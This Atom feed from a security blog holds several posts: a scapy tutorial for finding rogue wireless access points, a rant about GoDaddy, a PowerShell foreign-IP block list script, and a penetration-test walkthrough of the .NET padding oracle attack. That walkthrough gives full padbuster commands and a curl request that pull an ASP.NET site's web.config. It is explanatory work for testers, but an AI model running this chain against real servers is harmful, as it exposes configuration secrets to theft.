<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom"><title>Blog | Security Whole</title><updated>2012-05-28T19:39:03Z</updated><id>http://blog.securitywhole.com/atom.aspx</id><link href="http://blog.securitywhole.com/atom.aspx" rel="self" type="application/rss+xml" /><link href="http://blog.securitywhole.com" rel="alternate" type="application/rss+xml" /><generator uri="http://app.onlinequickblog.com/" version="2.6.8">Quick Blogcast</generator><entry><title>Extracting Access Point Names from Packet Captures</title><link rel="alternate" href="http://blog.securitywhole.com/2011/03/25/extracting-access-point-names-from-packet-captures.aspx?ref=rss" /><id>tag:blog.securitywhole.com,2011-03-25:cfcd3e90-2814-4da8-bcd9-0fa5f94126f2</id><author><name>Tim Medin</name></author><updated>2011-03-25T17:50:00Z</updated><published>2011-03-25T17:50:00Z</published><content type="html">&lt;p&gt;Years ago, while working as a Network Engineer, I did a bit of sniffing of our wireless access points. I noticed that some access point, mainly Cisco, broadcast the Access Point's name. I also noticed that the same access point will use a slightly different MAC Address (BSSID) for each SSID (ESSID). Typically the last nibble (half byte), or two, changes. I thought that was interesting, and moved on.

&lt;p&gt;Now that I work as a penetration tester I want to correlate those access points, so I can tell exactly how many devices there are and the MAC addressing scheme. That way I can better identify something that is out of place, like a well place rogue.

&lt;p&gt;Initially I did this by hand, and by hand means: teh suck!!!1! I knew there had to be a better way to do this, so I broke out scapy. I'll walk you through the process of creating a python script that extracts all the AP' MAC addresses, along with their corresponding Name and [E]SSID (if broadcast).

&lt;p&gt;Let's start by looking a packet produced by a beacon.

&lt;p&gt;Let's start by looking a packet produced by a beacon. &lt;img alt="" style="border: 0px  solid;" src="http://images.quickblogcast.com/4/1/3/7/4/156673-147314/beacon.png?a=92" /&gt; &lt;/p&gt;

&lt;p&gt;The packet includes the name of the access point. But how do we extract it? Let's fire up scapy and check it out.

&lt;pre&gt;$ scapy
Welcome to Scapy (2.1.0)
&gt;&gt;&gt; &lt;b&gt;pkts=rdpcap("beacon-packet.pcap")&lt;/b&gt;
&gt;&gt;&gt; &lt;b&gt;p=pkts[0]&lt;/b&gt;
&gt;&gt;&gt; &lt;b&gt;p&lt;/b&gt;
&amp;lt;Dot11  subtype=8L type=Management proto=0L FCfield= ID=0 addr1=ff:ff:ff:ff:ff:ff
addr2=00:24:c4:d3:04:65 addr3=00:24:c4:d3:04:65 SC=6432 addr4=None |&amp;lt;Dot11Beacon
timestamp=339645573495 beacon_interval=102 cap=short-slot+ESS+privacy+short-preamble
|&amp;lt;Dot11Elt  ID=SSID len=11 info='MyCorpESSID' |&amp;lt;Dot11Elt  ID=Rates len=8 info='\x82
...
|&amp;lt;Dot11Elt  ID=133 len=30 info='\n\x00\x8f\x00\x0f\x00\xff\x03Y\x00&lt;b&gt;AP3&lt;/b&gt;\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x006' |&amp;lt;Dot11Elt  ID=150 len=6 
info='\x00@\x96\x00\x11\x00' |&amp;lt;Dot11Elt  ID=vendor len=6 info='\x00@\x96\x01\x01\x04'
|&amp;lt;Dot11Elt  ID=vendor len=5 info='\x00@\x96\x03\x05' |&amp;lt;Dot11Elt  ID=vendor len=5
info='\x00@\x96\x0b\t' |&amp;lt;Dot11Elt  ID=vendor len=5 info='\x00@\x96\x14\x01' |&amp;lt;Dot11Elt
ID=vendor len=24 info="\x00P\xf2\x02\x01\x01\x80\x00\x03\xa4\x00\x00'\xa4\x00\x00
BC^\x00b2/\x00" |&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;
&gt;&gt;&gt; &lt;/pre&gt;

&lt;p&gt;The first packet in our capture is a beacon packet. It happens to contain the SSID and the AP's name. The BSSID (MAC) is really easy to extract (p.addr2). The ESSID is pretty easy to extract too (p[Dot11Elt].info). We still need to get that pesky Access Point Name, but it is nested in one of the Dot11Elt (802.11 Information Element). After trying this technique on multiple captures, at multiple sites, with multiple configurations, I found that the depth of the nested element is not consistent. This means we need to dig for it. Fortunately, we know the ID of the element that contains the AP's name, 133.

&lt;p&gt;We can use this bit of code to find the property.

&lt;pre&gt;&gt;&gt;&gt; &lt;b&gt;while Dot11Elt in p:&lt;/b&gt;
...     &lt;b&gt;p = p[Dot11Elt]&lt;/b&gt;
...     &lt;b&gt;if p.ID == 133:&lt;/b&gt;
...         &lt;b&gt;print "found it: " + p.info&lt;/b&gt;
...     &lt;b&gt;p = p.payload&lt;/b&gt;

found it: 
'\n\x00\x8f\x00\x0f\x00\xff\x03Y\x00&lt;b&gt;AP3&lt;/b&gt;\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x006'
&lt;/pre&gt;

&lt;p&gt;I faked the output a bit since null and high numbered characters either don't display or display funny, but you get the point. After a bit of inspection, it appears the Name property is at offset 10 and is null terminated. We can use that to further refine our search by changing a few lines.

&lt;pre&gt;&gt;&gt;&gt; &lt;b&gt;p=pkts[0]&lt;/b&gt;
&gt;&gt;&gt; &lt;b&gt;while Dot11Elt in p:&lt;/b&gt;
...     &lt;b&gt;p = p[Dot11Elt]&lt;/b&gt;
...     &lt;b&gt;if p.ID == 133:&lt;/b&gt;
...         &lt;b&gt;ap = p.info[10:]&lt;/b&gt;
...         &lt;b&gt;ap = ap[:ap.find("\x00")]&lt;/b&gt;
...         &lt;b&gt;print "found it: " + ap&lt;/b&gt;
...     &lt;b&gt;p = p.payload&lt;/b&gt;

found it: AP3&lt;/pre&gt;

&lt;p&gt;This works great, but we can't extract the ESSID from a hidden network since it doesn't broadcast its SSID in the beacon. Instead, we need to look for a probe response. While where at it, let's put together the code to grab both frame types.

&lt;p&gt;Here is our original beacon again:
&lt;pre&gt;&amp;lt;Dot11  subtype=8L type=Management proto=0L FCfield= ID=0 addr1=ff:ff:ff:ff:ff:ff
addr2=00:24:c4:d3:04:65 addr3=00:24:c4:d3:04:65 SC=6432 addr4=None ...&lt;/pre&gt;

&lt;p&gt;Here is the header of a probe response:
&lt;pre&gt;&amp;lt;Dot11  subtype=5L type=Management proto=0L FCfield=retry ID=14849 addr1=00:20:00:6f:ab:30
addr2=00:24:c4:d3:04:65 addr3=00:24:c4:d3:04:65 SC=63328 addr4=None &lt;/pre&gt;

&lt;p&gt;We can use that to find packets that will contain the BSSID and AP name and possibly the ESSID.

&lt;pre&gt;&gt;&gt;&gt; for p in pkts:
...     &lt;b&gt;if (p.subtype == 8L or p.subtype == 5L) and p.type == 0L:&lt;/b&gt;
...         &lt;b&gt;while Dot11Elt in p:&lt;/b&gt;
...             &lt;b&gt;p = p[Dot11Elt]&lt;/b&gt;
...             &lt;b&gt;if p.ID == 133:&lt;/b&gt;
...                 &lt;b&gt;ap = p.info[10:]&lt;/b&gt;
...                 &lt;b&gt;ap = ap[:ap.find("\x00")]&lt;/b&gt;
...                 &lt;b&gt;print "found it: " + ap&lt;/b&gt;
...             &lt;b&gt;p = p.payload&lt;/b&gt;
...
found it: AP3
found it: AP3
found it: AP4
found it: AP4
found it: AP2
found it: AP4
...&lt;/pre&gt;

&lt;p&gt;Now with a little extra python magic we end up with the attached script. 

&lt;pre&gt;$ &lt;b&gt;./APNameFromPcap.py&lt;/b&gt;

usage:  /pentest/wireless/APNameFromPcap.py [-F directory containing pcaps] [-f pcapfipe] [-e ssid]
You must provide at least provide the directory or pcap file&lt;/pre&gt;

We can then give it one or files and/or one or more directories containing .cap, .pcap, or .dump. Here is the resulting output:

&lt;pre&gt;$ &lt;b&gt;./APNameFromPcap.py -f beacon-packet.pcap&lt;/b&gt;
00:24:c4:d3:04:65    MyCorpESSID    AP3
00:24:c4:d2:d5:d1                   AP4
00:24:c4:d2:d5:d5    MyCorpESSID    AP4
00:24:c4:d2:23:41                   AP2
00:24:c4:d2:d5:d2                   AP4
...&lt;/pre&gt;

&lt;p&gt;This script writes the BSSID, ESSID, and AP Name from each beacon and probe response packet. If the output is sorted and only the unique rows are displayed we end up with this handy table.

&lt;pre&gt;$ &lt;b&gt;./APNameFromPcap.py -f beacon-packet.pcap | sort -u&lt;/b&gt;
00:24:c4:d2:1d:91               AP5
00:24:c4:d2:1d:91  PRIV         AP5
00:24:c4:d2:1d:92               AP5
00:24:c4:d2:1d:95  MyCorpESSID  AP5
00:24:c4:d2:23:41               AP2
00:24:c4:d2:23:42               AP2
00:24:c4:d2:23:45  MyCorpESSID  AP2
00:24:c4:d2:d5:d1               AP4
00:24:c4:d2:d5:d1  PRIV         AP4
00:24:c4:d2:d5:d2               AP4
00:24:c4:d2:d5:d2  Voice        AP4
00:24:c4:d2:d5:d5  MyCorpESSID  AP4
00:24:c4:d2:ee:c0  MyCorpESSID     
00:24:c4:d3:04:61               AP3
00:24:c4:d3:04:61  PRIV         AP3
00:24:c4:d3:04:62               AP3
00:24:c4:d3:04:62  Voice        AP3
00:24:c4:d3:04:65  MyCorpESSID  AP3&lt;/pre&gt;

&lt;p&gt;You'll notice that some MAC addresses show up twice. That's because the beacon frame from the BSSID doesn't send it ESSID, so it shows up blank, but if a probe response frame is found the ESSID is populated.

&lt;p&gt;We can see that PRIV SSID usually ends in 1, MyCorpESSID ends in 5, and Voice ends in 2. In this format it is really clear that BSSID 00:24:c4:d2:ee:c0 is out of place. It doesn't send the AP's name, and doesn't follow our typical pattern. This is an access point that should be looked into, either due to misconfiguration, or as a rogue.

&lt;p&gt;Correlation FTW!

&lt;b&gt;Attachment: &lt;a href="http://blog.securitywhole.com/files/4/1/3/7/4/156673-147314/APNameFromPcap.zip"&gt;APNameFromPcap.zip&lt;/a&gt;&lt;/b&gt;
This is written for Python 2.6 and may require modifications for other version of python.

&lt;p&gt;Attachment:&amp;nbsp;&lt;a href="http://blog.securitywhole.com/files/4/1/3/7/4/156673-147314/APNameFromPcap.zip"&gt;&lt;/a&gt;&lt;a href="http://blog.securitywhole.com/files/4/1/3/7/4/156673-147314/APNameFromPcap.zip"&gt;APNameFromPcap.zip&lt;/a&gt;&lt;/p&gt;</content></entry><entry><title>GoDaddy is teh suck</title><link rel="alternate" href="http://blog.securitywhole.com/2010/10/21/godaddy-is-teh-suck.aspx?ref=rss" /><id>tag:blog.securitywhole.com,2010-10-21:1c13ce79-f972-487e-a198-1636d3b563db</id><author><name>Tim Medin</name></author><updated>2010-10-21T14:02:00Z</updated><published>2010-10-21T14:02:00Z</published><content type="html">In case any of you wanted to start a blog, DON'T USE GODADDY!&lt;br /&gt;
&lt;br /&gt;
I know it is free and comes with a domain registration, but the blog editing is terrible. Even if you write your post in html and use the html editor, GoDaddy will reformat it. STAY AWAY!&lt;br /&gt;
&lt;br /&gt;
Anyone know of a good way to move it elsewhere?</content></entry><entry><title>.NET Padding Oracle Attack, padBuster.pl, and the Microsoft Recommended Workarounds</title><link rel="alternate" href="http://blog.securitywhole.com/2010/10/21/net-padding-oracle-attack-padbusterpl-and-the-microsoft-recommended-workarounds.aspx?ref=rss" /><id>tag:blog.securitywhole.com,2010-10-21:b38bf36b-4ced-4242-b3d6-d85ab7ef1342</id><author><name>Tim Medin</name></author><updated>2010-10-21T06:14:00Z</updated><published>2010-10-21T06:14:00Z</published><content type="html">&lt;p&gt;&lt;em&gt;For some stupid reason, Whenever GoDaddy sees h t t p s : / / it turns it into a link and removes the scheme. This even happens if you edit the html manually. Because of this sillyness, I've used https:\\ below.&lt;/em&gt;
&lt;/p&gt;
&lt;p&gt;Since I first heard of the Padding Oracle issue, I've wanted to use it to exploit a site. I had that chance this week. Alex Lauerman and I muddled our way through this confusing (at least to me) attack scenario.
&lt;/p&gt;
&lt;p&gt;The attack is dependent on the server responding differently to an error in the decryption process vs an error in the application due to invalid data. The different response codes tells us whether or not the padding is valid or invalid. If you want to read more on the background of the issue, check out the &lt;a href="http:\\www.gdssecurity.com/l/b/2010/09/14/automated-padding-oracle-attacks-with-padbuster/"&gt;great post over at gdssecurity.com&lt;/a&gt;.
&lt;/p&gt;
&lt;p&gt;Now that we have a bit of the background covered, back to the site. Upon quick inspection we saw that 404 and 500 errors are redirected to the same error page. Bantha Herders! How did we know this? The 404 result was easy to test, just request an non-existant page. To test the crypto error we found a link in the page:
&lt;/p&gt;
&lt;pre&gt;/WebResource.axd?d=xxxxxxxxxxxxxxxx&lt;/pre&gt;
...messed with it...
&lt;pre&gt;/WebResource.axd?d=xxxxxxxxxxxxxxxZ&lt;/pre&gt;
...and we were redirected to the same error page.
&lt;p&gt;So all errors redirect to the same page. Bummer, we can't use the status or error page to determine if the padding is invalid or not. But we can still use ScriptResource.axd to bypass all the &lt;a href="http:\\weblogs.asp.net/scottgu/archive/2010/09/18/important-asp-net-security-vulnerability.aspx"&gt;workarounds&lt;/a&gt; recommended by Microsoft.
&lt;/p&gt;
&lt;p&gt;To add to the fun, the site requires authentication. We need to login and then grab our cookies for use with our attack tool. There are many ways to get the working cookies, I just used FireFox with TamperData to grap the cookies. Once cool thing I noticed, is that even if my session times out and I can no longer browse the site with my browser, I can still request the ScriptResource.axd. It seems that ScriptResource.axd does some different checking on a valid session.
&lt;/p&gt;
&lt;p&gt;So let's start our attack by beginning with &lt;a href="http:\\www.gdssecurity.com/l/b/2010/10/04/padbuster-v0-3-and-the-net-padding-oracle-attack/"&gt;Step 1: Find a valid T-Block Request&lt;/a&gt; (The second Step 1, not the first Step 1). We need to find a valid ScriptResource.axd link in the page source, and then we use padbuster.
&lt;/p&gt;
&lt;pre&gt;$ perl padbuster.pl "https:\\site.org/dir/ScriptResource.axd?d=xxxxxxxxxxxxxxxx"
 xxxxxxxxxxxxxxxx 16 -encoding 3 -bruteforce -log -verbose
 -cookies "ASP.NET_SessionId=f2471ac5-e515-..."&lt;/pre&gt;
&lt;p&gt;PadBuster requires the URL (taken from the page's source), the encrypted sample (the d value), block size (16 in .NET), and the encoding (3=.NET UrlToken). The bruteforce option is used to find a valid T-Block. The verbose option is used so we can actually see when we have found a valid T-Block. When one is found you will see this:
&lt;/p&gt;
&lt;pre&gt;Attempt 15 - Status: 200 - Content Length: 393
https:\\site.org/dir/ScriptResource.axd?d=DgAAAAAAAAAAAAAAAAAAAM8X6Hr6gTDN5E1DDdDehBXoKFW
TIM8UquygrlBs-oA68elaNxHtbanxz8uZusApWVWny8usel5V8b61BtSQ2PY1&lt;/pre&gt;
&lt;p&gt;Now we can use the T-Block request, along with the -prefix option, to use ScriptResource as a padding oracle. We can then decrypt the existing d parameter.
&lt;/p&gt;
&lt;pre&gt;/ScriptResource.axd?d=xxxxxxxxxxxxxxxx" xxxxxxxxxxxxxxxx 16 -encoding 3 -noiv
-prefix "DgAAAAAAAAAAAAAAAAAAAM8X6Hr6gTDN5E1DDdDehBXoKFWTIM8UquygrlBs-oA68elaNxHtbanxz
8uZusApWVWny8usel5V8b61BtSQ2PY1" -cookies "ASP.NET_SessionId=f2471ac5-e515-..."&lt;/pre&gt;
&lt;p&gt;Boring, but what about downloading the web.config file? First, we need to use the oracle to encrypt "|||~/web.config". Why that string? Well, I'll (sort of) explain that later.
&lt;/p&gt;
&lt;pre&gt;$ perl padbuster.pl "https:\\site.org/dir/ScriptResource.axd?d=xxxxxxxxxxxxxxxx"
xxxxxxxxxxxxxxxx 16 -encoding 3 -plaintext "|||~/web.config" -noiv 
-prefix "DgAAAAAAAAAAAAAAAAAAAM8X6Hr6gTDN5E1DDdDehBXoKFWTIM8UquygrlBs-oA68elaNxHtbanxz
8uZusApWVWny8usel5V8b61BtSQ2PY1" 
-cookies "ASP.NET_SessionId=f2471ac5-e515-..."

...

-------------------------------------------------------
** Finished ***

[+] Encrypted value is: BXw6OSgQhp3YdMmkBqmuXQAAAAAAAAAAAAAAAAAAAAA1
-------------------------------------------------------&lt;/pre&gt;
&lt;p&gt;So now we have the encypted version of "|||~/web.config". We can use this with our request to ScriptResource.axd to download the web.config. Now, why that string? According to &lt;a href="http:\\blog.mindedsecurity.com/2010/10/breaking-net-encryption-with-or-without.html"&gt;mindedsecurity.com&lt;/a&gt;:
&lt;/p&gt;
&lt;p&gt;"The most common way to download files remotely from unpatched framework 3.5 Sp1 and 4.0 is to obtain after decryption a string similar to the one below:
&amp;nbsp;&amp;nbsp;r#&lt;em&gt;garbage&lt;/em&gt;|||~/web.config"
&lt;/p&gt;
&lt;p&gt;I'm not sure why, but I'll take their word for it. At this point we have encrypted portion of the string above, but we have to bruteforce the first block so we can get "r#&lt;em&gt;gargabe&lt;/em&gt;".
&lt;/p&gt;
&lt;pre&gt;perl padbuster.pl https:\\site.org/dir/ScriptResource.axd?d=
BXw6OSgQhp3YdMmkBqmuXQAAAAAAAAAAAAAAAAAAAAA1 BXw6OSgQhp3YdMmkBqmuXQAAAAAAAAAAAAAAAAAAAAA1 16 
-verbose -encoding 3 -bruteforce -log -cookies "ASP.NET_SessionId=f2471ac5-e515-..."&lt;/pre&gt;
&lt;p&gt;It will regularly hit strings that will decrypt, but do not match the string we want (r#&lt;em&gt;garbage&lt;/em&gt;|||~/web.config). You will see a of results like this:
&lt;/p&gt;
&lt;pre&gt;Attempt 15 - Status: 200 - Content Length: 373
https:\\site.org/dir/ScriptResource.axd?d=DgAAAAAAAAAAAAAAAAAAAAV8OjkoEIa
d2TIMpAaprl0AAAAAAAAAAAAAAAAAAAAA0


Attempt 485 - Status: 200 - Content Length: 364
https:\\site.org/dir/ScriptResource.axd?d=5AABAAAAAAAAAAAAAAAAAAV8OjkoEIa
d2TIMpAaprl0AAAAAAAAAAAAAAAAAAAAA0&lt;/pre&gt;
&lt;p&gt;The web.config is significantly longer than ~370 bytes. So sit back, grab a drink, and wait. Let this bugger run for a LONG time. In my test it took over 21000 requests. I added the log option so we don't have to keep an eye on the screen. You can come back later and run this command to look for responses with a content length greater than 1000 bytes.
&lt;/p&gt;
&lt;pre&gt;$ cat ActivityLog.txt | grep -E "Length: [0-9]{4,} -A 1"
Attempt 21906 - Status: 200 - Content Length: 12186
https:\\site.org/dir/ScriptResource.axd?d=kQBVAAAAAAAAAAAAAAAAAAV8OjkoEIa
d2TIMpAaprl0AAAAAAAAAAAAAAAAAAAAA0
--
Attempt 28796 - Status: 200 - Content Length: 12183
https:\\site.org/dir/ScriptResource.axd?d=ewBwAAAAAAAAAAAAAAAAAAV8OjkoEIa
d2TIMpAaprl0AAAAAAAAAAAAAAAAAAAAA0
--
Attempt 35162 - Status: 200 - Content Length: 12183
https:\\site.org/dir/ScriptResource.axd?d=WQCJAAAAAAAAAAAAAAAAAAV8OjkoEIa
d2TIMpAaprl0AAAAAAAAAAAAAAAAAAAAA0&lt;/pre&gt;
&lt;p&gt;We have a WINNER!!!!
&lt;/p&gt;
&lt;p&gt;Now to retrieve the file.
$ curl "https:\\site.org/dir/ScriptResource.axd?d=kQBVAAAAAAAAAAAAAAAAAAV8OjkoEIa
d2TIMpAaprl0AAAAAAAAAAAAAAAAAAAAA0" --insecure -H "Cookie: ASP.NET_SessionId=f2471ac5-e515-..." &amp;gt; web.config
&lt;/p&gt;
&lt;p&gt;The web.config file is probably gzip encoded so view it like this:
&lt;/p&gt;
&lt;pre&gt;$ gunzip -c web.config

&amp;lt;?xml version="1.0"?&amp;gt;
&amp;lt;configuration&amp;gt;
  &amp;lt;configSections&amp;gt;
    &amp;lt;sectionGrou...&lt;/pre&gt;
&lt;p&gt;BOOYAH!!&lt;/p&gt;</content></entry><entry><title>Blocking Traffic from Foreign Countries - Creating a block list of Supernets using PowerShell</title><link rel="alternate" href="http://blog.securitywhole.com/2010/03/29/blocking-traffic-from-foreign-countries--creating-a-block-list-of-supernets-using-powershell.aspx?ref=rss" /><id>tag:blog.securitywhole.com,2010-03-29:816e240d-d993-4b1d-853d-53f75ba7b51c</id><author><name>Tim Medin</name></author><updated>2010-03-30T02:32:00Z</updated><published>2010-03-30T02:32:00Z</published><content type="html">&lt;P&gt;The following PowerShell script will create a list of supernets that are outside of the United States. The networks created by this script are intended to be used to restrict network traffic from foreign countries. The results of this script aren't perfect and aren't intended to be perfect. There is trade off between the size of the list and accuracy, and I chose to err on the side of a shorter list of networks so it would not add and extra burden to the firewall.&lt;/P&gt;
&lt;P&gt;Here is the script:&lt;/P&gt;
&lt;P&gt;&lt;FONT face="Courier New"&gt;$debug = 0&lt;/FONT&gt;&lt;/P&gt;
&lt;P&gt;&lt;FONT face="Courier New"&gt;# Filter for records that aren't in the US or run by ARIN&lt;BR&gt;$records = ([xml]((New-Object System.Net.WebClient).DownloadString("http://www.iana.org/assignments/ipv4-address-space/ipv4-address-space.xml"))).registry.record | ? {&lt;BR&gt;&amp;nbsp; $_.designation -notlike "*ARIN*" -and&lt;BR&gt;&amp;nbsp; $_.status -ne "LEGACY"&lt;BR&gt;}&lt;/FONT&gt;&lt;/P&gt;
&lt;P&gt;&lt;FONT face="Courier New"&gt;# Create array for holding supernets&lt;BR&gt;$supernets = @()&lt;/FONT&gt;&lt;/P&gt;
&lt;P&gt;&lt;FONT face="Courier New"&gt;# Add a property for the Binary representation of the first octet&lt;BR&gt;# Add a property for holding the masked bits, used for finding the supernets&lt;BR&gt;$records | % { $_ |&lt;BR&gt;&amp;nbsp; Add-Member NoteProperty -Name "Bits" -Value ([Convert]::ToString($_.prefix.Split("/")[0],2)).PadLeft(8,"0") -PassThru |&lt;BR&gt;&amp;nbsp; Add-Member NoteProperty -Name "MaskedBits" -Value ""&lt;BR&gt;}&lt;/FONT&gt;&lt;/P&gt;
&lt;P&gt;&lt;FONT face="Courier New"&gt;# $i is the current number of mask bits used for finding a supernet&lt;BR&gt;for ($i=1; $i -le 8; $i++) {&lt;/FONT&gt;&lt;/P&gt;
&lt;P&gt;&lt;FONT face="Courier New"&gt;&amp;nbsp; # apply the mask, set the masked bits property&lt;BR&gt;&amp;nbsp; # this get the left most $i of bits&lt;BR&gt;&amp;nbsp; $records | % {&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $_.MaskedBits = $_.Bits.SubString(0,$i)&lt;BR&gt;&amp;nbsp; }&lt;/FONT&gt;&lt;/P&gt;
&lt;P&gt;&lt;FONT face="Courier New"&gt;&amp;nbsp; if ($debug) { $numrecords = $records.count }&lt;/FONT&gt;&lt;/P&gt;
&lt;P&gt;&lt;FONT face="Courier New"&gt;&amp;nbsp; # how many /$i networks does it take to fill the current supernet, /1 is 128, /2 is 64 ...&lt;BR&gt;&amp;nbsp; $supernetsize = [Math]::pow(2,8-$i)&lt;/FONT&gt;&lt;/P&gt;
&lt;P&gt;&lt;FONT face="Courier New"&gt;&amp;nbsp; if ($debug) { "Supernet Size: $supernetsize" }&lt;/FONT&gt;&lt;/P&gt;
&lt;P&gt;&lt;FONT face="Courier New"&gt;&amp;nbsp; # if a full supernet is found, then ...&lt;BR&gt;&amp;nbsp; # a "full" supernet contains all of the /8 networks to fill the supernet&lt;BR&gt;&amp;nbsp; $records | group MaskedBits | ? { $_.Count -eq $supernetsize} | % {&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $group = $_&lt;/FONT&gt;&lt;/P&gt;
&lt;P&gt;&lt;FONT face="Courier New"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; # create the supernet object and set the properties&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $supernet = "" | Select Prefix,Bits,MaskBits,CIDR&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $supernet.Bits = $group.Name.PadRight(8, "0")&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $supernet.Prefix = [Convert]::ToByte($supernet.Bits, 2)&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $supernet.MaskBits = $i&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $supernet.CIDR = "$($supernet.Prefix).0.0.0/$($supernet.MaskBits)"&lt;/FONT&gt;&lt;/P&gt;
&lt;P&gt;&lt;FONT face="Courier New"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; # add the supernet to the collection of supernets&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $supernets += $supernet&lt;/FONT&gt;&lt;/P&gt;
&lt;P&gt;&lt;FONT face="Courier New"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; # remove the networks from the full network collection if they were just added as a supernet&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $records = $records | ? { $_.Bits.SubString(0,$i) -ne $group.Name }&lt;BR&gt;&amp;nbsp; }&lt;/FONT&gt;&lt;/P&gt;
&lt;P&gt;&lt;FONT face="Courier New"&gt;&amp;nbsp; if ($debug) {&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; "Matching Supernets Found: $(($numrecords - $records.count)/$supernetsize)"&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $supernets | ? { $_.MaskBits -eq $i }&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; "---------------------------------------------------------------------------"&lt;BR&gt;&amp;nbsp; }&lt;BR&gt;}&lt;/FONT&gt;&lt;/P&gt;
&lt;P&gt;&lt;FONT face="Courier New"&gt;#output the results&lt;BR&gt;$supernets | Sort Bits | Select Prefix,Bits,MaskBits,CIDR&lt;/FONT&gt;&lt;/P&gt;
&lt;P&gt;Now for a bit of explanation...&lt;/P&gt;
&lt;P&gt;As you may already know, most IPv4 addresses are controlled by ARIN (North America), APNIC (Asia Pacific), LACNIC (Latin America and Caribbean), and other similar regional internet registries (RIR). Each one controls the ip addresses for a specific portion of the world. We want to create a list of all networks that are not in the United States, and the closest approximation is the ARIN RIR. The problem is, prior to the establishment of the RIRs, some blocks of IP addresses were handed out directly to organizations (and their status is "legacy"). Most of the companies that have the legacy address spaces are US based and we will assume they are allowed.&lt;/P&gt;
&lt;P&gt;First, we get the list of networks from IANA (Internet Assigned Numbers Authority). Our black list will contain all of the networks NOT in the US, so we filter out all of the ARIN controlled IP addresses and the addresses with a "legacy" status. The list is imported in XML format. The nice feature of the xml format is that imports the xml entities as objects, and PowerShell works best with objects. The properties of the objects are prefix, designation, date, status and xref, but we only use the status and the prefix. With these properties defined we can easily use the Where-Object cmdlet (alias ?) to filter out the "safe" address. If you wanted to block a different set of RIRs this is where you could make one simple change to better suit you.&lt;/P&gt;
&lt;P&gt;&lt;FONT face="Courier New"&gt;$records = ([xml]((New-Object System.Net.WebClient).DownloadString("http://www.iana.org/assignments/ipv4-address-space/ipv4-address-space.xml"))).registry.record&amp;nbsp;| ? {&lt;BR&gt;&amp;nbsp; $_.designation -notlike "*ARIN*" -and&lt;BR&gt;&amp;nbsp; $_.status -ne "LEGACY"&lt;BR&gt;}&lt;/FONT&gt;&lt;/P&gt;
&lt;P&gt;After the import and the filter, the $records variable contains all of the addresses blocks we want to blacklist. We could just quit now, but it would be nice to shorten the list. We can combine the address blocks into supernets. We start by creating a variable to hold the array of supernets.&lt;/P&gt;
&lt;P&gt;&lt;FONT face="Courier New"&gt;# Create array for holding supernets&lt;BR&gt;$supernets = @()&lt;/FONT&gt;&lt;/P&gt;
&lt;P&gt;To make things easier, we can extend the object given to us from xml. Two properties are added, one to hold the bit representation of the first octet, and the second will be used for storing a masked version of those bits.&lt;/P&gt;
&lt;P&gt;&lt;FONT face="Courier New"&gt;# Add a property for the Binary representation of the first octet&lt;BR&gt;# Add a property for holding the masked bits, used for finding the supernets&lt;BR&gt;$records | % { $_ |&lt;BR&gt;&amp;nbsp; Add-Member NoteProperty -Name "Bits" -Value ([Convert]::ToString($_.prefix.Split("/")[0],2)).PadLeft(8,"0") -PassThru |&lt;BR&gt;&amp;nbsp; Add-Member NoteProperty -Name "MaskedBits" -Value ""&lt;BR&gt;}&lt;/FONT&gt;&lt;/P&gt;
&lt;P&gt;The $records variable (as previously stated, contains all the networks to be blocked) is piped into the ForEach-Object cmdlet (alias %). Inside the loop we create the properties and set the Bits property. The initial value for the Masked Bits is blank since we will set that later.&lt;/P&gt;
&lt;P&gt;Now that the object is created the way we want it, we start a For loop. The loop will go from 1 to 8, representing each bit in the octet, and it will be used for masking.&lt;/P&gt;
&lt;P&gt;&lt;FONT face="Courier New"&gt;# $i is the current number of mask bits used for finding a supernet&lt;BR&gt;for ($i=1; $i -le 8; $i++) {&lt;/FONT&gt;&lt;/P&gt;
&lt;P&gt;Now to use our newly created property and set the Mask Bits on each object.&lt;/P&gt;
&lt;P&gt;&lt;FONT face="Courier New"&gt;&amp;nbsp; # apply the mask, set the masked bits property&lt;BR&gt;&amp;nbsp; # this get the left most $i of bits&lt;BR&gt;&amp;nbsp; $records | % {&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $_.MaskedBits = $_.Bits.SubString(0,$i)&lt;BR&gt;&amp;nbsp; }&lt;/FONT&gt;&lt;/P&gt;
&lt;P&gt;The $records variable is piped into a ForEach-Object loop. Inside the loop we apply the mask. The mask takes the left most bits. When $i is one, we only look at the leftmost bit. When $i is 2, we take the two leftmost bits, and so on.&lt;/P&gt;
&lt;P&gt;Now we need to calculate how many networks it takes to "fill" a supernet with our mask. A mask of 1 will require 128 networks to be full, a mask of 2 will require 64 networks, 3 requires 32, and so on.&lt;/P&gt;
&lt;P&gt;&lt;FONT face="Courier New"&gt;&amp;nbsp; # how many /$i networks does it take to fill the current supernet, /1 is 128, /2 is 64 ...&lt;BR&gt;&amp;nbsp; $supernetsize = [Math]::pow(2,8-$i)&lt;/FONT&gt;&lt;/P&gt;
&lt;P&gt;Now we have the supernet size, so let's see if we have any full supernets.&lt;/P&gt;
